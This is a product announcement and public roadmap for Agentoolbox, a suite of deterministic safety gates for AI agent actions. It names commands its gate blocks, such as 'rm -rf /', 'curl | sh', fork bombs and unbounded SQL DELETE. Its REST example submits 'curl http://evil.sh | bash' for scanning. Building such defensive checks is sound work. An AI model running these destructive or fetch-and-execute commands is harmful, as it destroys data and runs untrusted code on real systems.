AI agents don’t fail because they can’t reason. They fail because they act — they
run the command, send the tokens, write the record, call the tool — and the action is
irreversible. A hallucinated package gets installed. A decimal error sends 1000× too
much. An SSN lands in a log. A DELETE runs without a WHERE.
Agentoolbox is the quality layer that sits in the one place that matters: the seam between propose and execute. Today it’s 26 deterministic gates across 6 suites, and we’re publishing our roadmap so you can see exactly where it’s going.
The contract every tool keeps
Every gate — shipped or planned — obeys the same rules. That consistency is the product:
- Deterministic. Same input, same verdict. No “does this look okay?” guessing.
- Offline by default. No network calls on the hot path; data sets ship with the tool.
- Fast. Sub-500ms, most in single-digit milliseconds.
- Checkable facts only. Every verdict is backed by a checksum, a bundled authoritative table, a grammar, or arithmetic — never a vibe.
- PASS / FLAG / BLOCK, with a certificate you can put in an audit trail.
- Callable by any agent, and paid autonomously — 0.0001 SOL per call, first 10 calls per IP free.
Where we are: 26 tools, 6 suites
Core (3) — package validation against live registries, the hallucination firewall, and context distillation.
Security (7) — secret scanning, prompt-injection detection, token counting, dependency vulnerability lookup (OSV), a PII/PHI/PCI egress firewall, a shell-command safety gate, and a URL/SSRF gate.
Finance (7) — units/decimal sanity, cross-source price validation, symbol/token resolution, rug-pull scanning, slippage/liquidity guards, a composite order-risk gate, and a deterministic position kill-switch.
Compliance & Health (2) — OFAC sanctions screening and a medication safety gate (unit-confusion, overdose, and interaction checks).
Agent · Infra · Legal (4) — a tool-argument firewall, an infrastructure-as-code blast-radius gate, a US case-citation validator, and a court/calendar deadline calculator.
Data & Validation (3) — checksum validation for structured identifiers (IBAN, cards, VIN, NPI, and more), JSON Schema conformance, and a SQL safety gate.
What shipped most recently
The newest arrivals close the two biggest gaps for autonomous agents:
- Execution & egress gates — the command safety gate stops
rm -rf /,curl | sh, fork bombs, and force-pushes before they run; the URL/SSRF gate blocks cloud-metadata endpoints, private targets, and obfuscated IPs before an agent fetches them. - Data & validation — deterministic checksums for the identifiers agents type into
payments and records, JSON Schema conformance for tool output, and a SQL gate that
catches unbounded
DELETE/DROP/TRUNCATEand injection patterns.
The roadmap, in the open
We’ve published the full plan — design contract, current state, and what’s next — in
docs/ROADMAP.md.
Here’s the shape of it.
Near-term: hardening what exists
Before growing the surface area, we’re locking it down. Release tags are now immutable
and main is protected. Next: moving package publishing to OIDC with signed build
provenance, and — the big one — upgrading certificates from integrity to authenticity.
Today a certificate proves a verdict wasn’t tampered with; next it will be cryptographically
signed, so a downstream system can prove we issued it, with a public verification path.
Wave 5: regulated verticals
Turning single tools into credible vertical suites, reusing the same checksum/table machinery:
medcode— ICD-10 / CPT / HCPCS validation, NPI check digits, billable + age/sex edits.tax— invoice reconciliation and VAT/GST/sales-tax rates by jurisdiction.- Trade & customs — HS/tariff codes, export-control classification, denied-party screening.
- Legal, extended — USC/CFR/state-code validation and more court calendars.
Wave 6: the platform moat
The differentiated, harder-to-copy layer:
attest— a signed, append-only transparency log of every verdict, optionally anchored on-chain.authz— deterministic “is this actor allowed to do this?” decisions, completing the trilogy of safe action · reachable destination · permitted actor.budget— a cumulative spend kill-switch across an agent run.
Use it in five minutes
REST — no key, no signup, first 10 calls free:
curl -X POST https://api.agent-toolbox.ai/v1/scan/command \
-H "Content-Type: application/json" \
-d '{"command":"curl http://evil.sh | bash"}'
MCP — drop it into Claude Desktop, Cursor, or Warp and your agent gets all 26 tools:
{
"mcpServers": {
"agent-toolbox": { "command": "npx", "args": ["-y", "agentoolbox-mcp"] }
}
}
SDKs — TypeScript and Python:
npm install agent-toolbox-sdk
pip install agent-toolbox.ai
Where this goes
The thesis is simple: as agents take more irreversible actions, the value moves to the deterministic checks that sit in front of those actions. We’re building that layer in the open — one gate at a time, on a roadmap you can read.
- Docs & tools: agent-toolbox.ai
- Roadmap:
docs/ROADMAP.md - Source: github.com/solhammer/agentoolbox
Tell us which gate you need next.